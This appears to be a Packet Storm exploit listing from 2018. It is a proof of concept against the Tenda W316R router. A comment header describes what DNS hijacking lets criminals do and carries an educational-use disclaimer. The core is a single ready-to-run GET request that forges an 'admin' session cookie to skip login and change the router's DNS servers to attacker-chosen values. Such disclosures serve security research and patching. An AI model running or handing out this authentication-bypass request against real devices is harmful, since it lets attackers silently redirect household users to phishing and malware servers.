Tenda W316R Wireless Router 5.07.50 Remote DNS Changer

2018-03-30T00:00:00
ID PACKETSTORM:146972
Type packetstorm
Reporter Todor Donev
Modified 2018-03-30T00:00:00

Description

                                        
                                            `#  
#  
# Tenda W316R Wireless Router V5.07.50  
# Cookie Session Weakness Remote DNS Change PoC  
#  
#  
# Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>  
# https://ethical-hacker.org/  
# https://facebook.com/ethicalhackerorg  
#  
#  
# Once modified, systems use foreign DNS servers, which are   
# usually set up by cybercriminals. Users with vulnerable   
# systems or devices who try to access certain sites are   
# instead redirected to possibly malicious sites.  
#   
# Modifying systems' DNS settings allows cybercriminals to   
# perform malicious activities like:  
#  
# o Steering unknowing users to bad sites:   
# These sites can be phishing pages that   
# spoof well-known sites in order to   
# trick users into handing out sensitive   
# information.  
#  
# o Replacing ads on legitimate sites:   
# Visiting certain sites can serve users   
# with infected systems a different set   
# of ads from those whose systems are   
# not infected.  
#   
# o Controlling and redirecting network traffic:   
# Users of infected systems may not be granted   
# access to download important OS and software   
# updates from vendors like Microsoft and from   
# their respective security vendors.  
#  
# o Pushing additional malware:   
# Infected systems are more prone to other   
# malware infections (e.g., FAKEAV infection).  
#  
# Disclaimer:  
# This or previous programs is for Educational   
# purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the   
# fact that Todor Donev is not liable for any   
# damages caused by direct or indirect use of the   
# information or functionality provided by these   
# programs. The author or any Internet provider   
# bears NO responsibility for content or misuse   
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact   
# that any damage (dataloss, system crash,   
# system compromise, etc.) caused by the use   
# of these programs is not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!  
#  
#  
  
  
GET -H "Cookie: admin:language=en; path=/" "http://<TARGET>/goform/AdvSetDns?GO=wan_dns.asp&rebootTag=&DSEN=1&DNSEN=on&DS1=<DNS1>&DS2=<DNS2>" 2>/dev/null  
`